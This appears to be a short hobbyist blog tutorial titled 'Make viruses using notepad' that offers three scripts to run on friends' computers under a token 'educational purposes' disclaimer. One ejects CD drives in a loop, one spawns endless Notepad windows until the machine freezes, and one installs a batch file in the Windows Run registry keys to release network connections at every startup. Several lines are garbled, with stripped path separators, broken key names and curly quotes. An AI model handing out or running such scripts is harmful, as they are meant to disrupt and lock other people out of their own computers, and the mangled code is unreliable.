Make viruses using notepad!!

Today you are going to learn to make some simple viruses. This information is just for educational purposes and we are not responsible for any harm it causes.
So lets start-

To make virus you have to open notepad and copy and paste the given code, and than save the file as "name.bat" any in types select "all type"

1- Popping CD Drives----
*This will make the CD drives constantly pop out*
Code:-
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

2-Endless Notepads----
*This will pop up endless notepads until the computer freezes and crashes*
Code-
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

3- Disable Internet Permanently----
Code-
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

// So you are ready to trick your friends now..
// please comment what you did with the viruses?